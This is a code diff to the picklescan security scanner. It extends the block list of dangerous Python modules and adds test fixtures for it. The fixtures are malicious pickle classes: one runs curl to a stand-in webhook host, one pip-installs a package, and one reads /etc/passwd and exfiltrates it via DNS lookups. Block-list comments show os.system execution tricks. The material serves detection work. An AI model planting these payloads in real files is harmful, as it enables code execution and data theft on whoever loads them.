Add modules to unsafe globals

setup.cfg

@@ -1,6 +1,6 @@
 [metadata]
 name = picklescan
-version = 0.0.24
+version = 0.0.25
 author = Matthieu Maitre
 author_email = [email protected]
 description = Security scanner detecting Python Pickle files performing suspicious actions

src/picklescan/scanner.py

@@ -88,6 +88,9 @@ def __str__(self) -> str:
         "dtype",
         "ndarray",
     },
+    "numpy._core.multiarray": {
+        "_reconstruct",
+    },
     "numpy.core.multiarray": {
         "_reconstruct",
     },
@@ -113,30 +116,34 @@ def __str__(self) -> str:
         "open",
         "breakpoint",
     },  # Pickle versions 3, 4 have those function under 'builtins'
-    "webbrowser": "*",  # Includes webbrowser.open()
-    "httplib": "*",  # Includes http.client.HTTPSConnection()
-    "requests.api": "*",
     "aiohttp.client": "*",
-    "os": "*",
+    "asyncio": "*",
+    "bdb": "*",
+    "commands": "*",  # Python 2 precursor to subprocess
+    "functools": "partial",  # functools.partial(os.system, "echo pwned")
+    "httplib": "*",  # Includes http.client.HTTPSConnection()
+    "numpy.testing._private.utils": "*",  # runstring() in this module is a synonym for exec()
     "nt": "*",  # Alias for 'os' on Windows. Includes os.system()
     "posix": "*",  # Alias for 'os' on Linux. Includes os.system()
+    "operator": "attrgetter",  # Ex of code execution: operator.attrgetter("system")(__import__("os"))("echo pwned")
+    "os": "*",
+    "requests.api": "*",
+    "runpy": "*",  # Includes runpy._run_code
+    "shutil": "*",
     "socket": "*",
+    "ssl": "*",  # DNS exfiltration via ssl.get_server_certificate()
     "subprocess": "*",
     "sys": "*",
-    "shutil": "*",
-    "runpy": "*",  # Includes runpy._run_code
-    "operator": "attrgetter",  # Ex of code execution: operator.attrgetter("system")(__import__("os"))("echo pwned")
+    "pdb": "*",
     "pickle": "*",
     "_pickle": "*",
-    "bdb": "*",
-    "pdb": "*",
-    "asyncio": "*",
+    "pip": "*",
     "pydoc": "pipepager",  # pydoc.pipepager('help','echo pwned')
-    "venv": "*",
-    "torch.serialization": "load",  # pickle could be used to load a different file
-    "functools": "partial",  # functools.partial(os.system, "echo pwned")
+    "timeit": "*",
     "torch._inductor.codecache": "compile_file",  # compile_file('', '', ['sh', '-c','$(echo pwned)'])
-    "pip": "*",
+    "torch.serialization": "load",  # pickle could be used to load a different file
+    "venv": "*",
+    "webbrowser": "*",  # Includes webbrowser.open()
 }
 
 #

tests/test_scanner.py

@@ -15,6 +15,7 @@
 import socket
 import subprocess
 import sys
+import timeit
 import venv
 import zipfile
 from functools import partial
@@ -112,6 +113,23 @@ def __reduce__(self):
         )
 
 
+class Malicious16:
+    def __reduce__(self):
+        return pip.main, (
+            [
+                "install",
+                "some_malicious_package",
+                "--no-input",
+                "-q",
+                "-q",
+                "-q",
+                "--exists-action",
+                "i",
+                "--isolated",
+            ],
+        )
+
+
 class Malicious17:
     def __reduce__(self):
         return codecache.compile_file, ("", "", ["sh", "-c", '$(echo "pwned")'])
@@ -136,23 +154,21 @@ def __reduce__(self):
         return venv.create, ("venv", False, False, True, False, "$(echo pwned)")
 
 
-class Malicious16:
+class Malicious21:
     def __reduce__(self):
-        return pip.main, (
-            [
-                "install",
-                "some_malicious_package",
-                "--no-input",
-                "-q",
-                "-q",
-                "-q",
-                "--exists-action",
-                "i",
-                "--isolated",
-            ],
+        return timeit.timeit, (
+            "",
+            'import os; os.system("curl https://webhook.invalid/1234")',
         )
 
 
+class Malicious22:
+    def __reduce__(self):
+        from numpy.testing._private.utils import runstring
+
+        return runstring, ("import os; os.system('curl https://example.invalid')", {})
+
+
 class HTTPResponse:
     def __init__(self, status, data=None):
         self.status = status
@@ -310,6 +326,26 @@ def initialize_numpy_files():
             path, a=np.array([0, 1, 2], dtype=int), b=np.array([3, 4, 5], dtype=int)
         )
 
+    path = f"{_root_path}/data2/dns_exfiltration.npy"
+    if not os.path.exists(path):
+
+        class DNSLogPayload:
+            def __reduce__(self):
+                # Step 1: read a line from /etc/passwd
+                linecache = __import__("linecache")
+                first_line = linecache.getline("/etc/passwd", 1).strip()
+
+                # Step 2: Sanitize and embed it as a DNS subdomain
+                subdomain = first_line.replace(":", "_").replace("/", "_")
+                fqdn = f"{subdomain}.dns-logger.invalid"
+
+                # Step 3: Use ssl.get_server_certificate to trigger DNS resolution
+                ssl_mod = __import__("ssl")
+                return (getattr(ssl_mod, "get_server_certificate"), ((fqdn, 443),))
+
+        # To load attack: np.load("dns_exfiltration.npy", encoding="latin1", fix_imports=True, allow_pickle=True)
+        np.save(path, np.array([DNSLogPayload()], dtype=object), allow_pickle=True)
+
 
 def initialize_pickle_files():
     os.makedirs(f"{_root_path}/data", exist_ok=True)
@@ -521,6 +557,9 @@ def initialize_pickle_files():
     # Fake PyTorch file (PNG file format) simulating https://huggingface.co/RectalWorm/loras_new/blob/main/Owl_Mage_no_background.pt
     initialize_data_file(f"{_root_path}/data/bad_pytorch.pt", b"\211PNG\r\n\032\n")
 
+    initialize_pickle_file(f"{_root_path}/data2/malicious21.pkl", Malicious21(), 4)
+    initialize_pickle_file(f"{_root_path}/data2/malicious22.pkl", Malicious22(), 4)
+
 
 initialize_pickle_files()
 initialize_numpy_files()
@@ -575,9 +614,9 @@ def test_scan_numpy():
                     Global("numpy", "ndarray", SafetyLevel.Innocuous),
                     Global("numpy", "dtype", SafetyLevel.Innocuous),
                 ],
-                1,
-                0,
-                0,
+                scanned_files=1,
+                issues_count=0,
+                infected_files=0,
             ),
         )
 
@@ -586,12 +625,27 @@ def test_scan_numpy():
             scan_numpy(io.BytesIO(f.read()), "int_array.npy"),
             ScanResult(
                 [],
-                1,
-                0,
-                0,
+                scanned_files=1,
+                issues_count=0,
+                infected_files=0,
             ),
         )
 
+    compare_scan_results(
+        scan_file_path(f"{_root_path}/data2/dns_exfiltration.npy"),
+        ScanResult(
+            [
+                Global("numpy._core.multiarray", "_reconstruct", SafetyLevel.Innocuous),
+                Global("numpy", "ndarray", SafetyLevel.Innocuous),
+                Global("numpy", "dtype", SafetyLevel.Innocuous),
+                Global("ssl", "get_server_certificate", SafetyLevel.Dangerous),
+            ],
+            scanned_files=1,
+            issues_count=1,
+            infected_files=1,
+        ),
+    )
+
 
 def test_scan_pytorch():
     scan_result = ScanResult(
@@ -763,6 +817,32 @@ def test_scan_file_path():
         scan_file_path(f"{_root_path}/data/malicious14.pkl"), malicious14
     )
 
+    compare_scan_results(
+        scan_file_path(f"{_root_path}/data2/malicious21.pkl"),
+        ScanResult(
+            [
+                Global("timeit", "timeit", SafetyLevel.Dangerous),
+            ],
+            scanned_files=1,
+            issues_count=1,
+            infected_files=1,
+        ),
+    )
+
+    compare_scan_results(
+        scan_file_path(f"{_root_path}/data2/malicious22.pkl"),
+        ScanResult(
+            [
+                Global(
+                    "numpy.testing._private.utils", "runstring", SafetyLevel.Dangerous
+                ),
+            ],
+            scanned_files=1,
+            issues_count=1,
+            infected_files=1,
+        ),
+    )
+
 
 def test_scan_file_path_npz():
     compare_scan_results(
@@ -774,19 +854,19 @@ def test_scan_file_path_npz():
                 Global("numpy", "dtype", SafetyLevel.Innocuous),
             ]
             * 2,
-            2,
-            0,
-            0,
+            scanned_files=2,
+            issues_count=0,
+            infected_files=0,
         ),
     )
 
     compare_scan_results(
         scan_file_path(f"{_root_path}/data2/int_arrays.npz"),
         ScanResult(
             [],
-            2,
-            0,
-            0,
+            scanned_files=2,
+            issues_count=0,
+            infected_files=0,
         ),
     )
 
@@ -799,19 +879,19 @@ def test_scan_file_path_npz():
                 Global("numpy", "dtype", SafetyLevel.Innocuous),
             ]
             * 2,
-            2,
-            0,
-            0,
+            scanned_files=2,
+            issues_count=0,
+            infected_files=0,
         ),
     )
 
     compare_scan_results(
         scan_file_path(f"{_root_path}/data2/int_arrays_compressed.npz"),
         ScanResult(
             [],
-            2,
-            0,
-            0,
+            scanned_files=2,
+            issues_count=0,
+            infected_files=0,
         ),
     )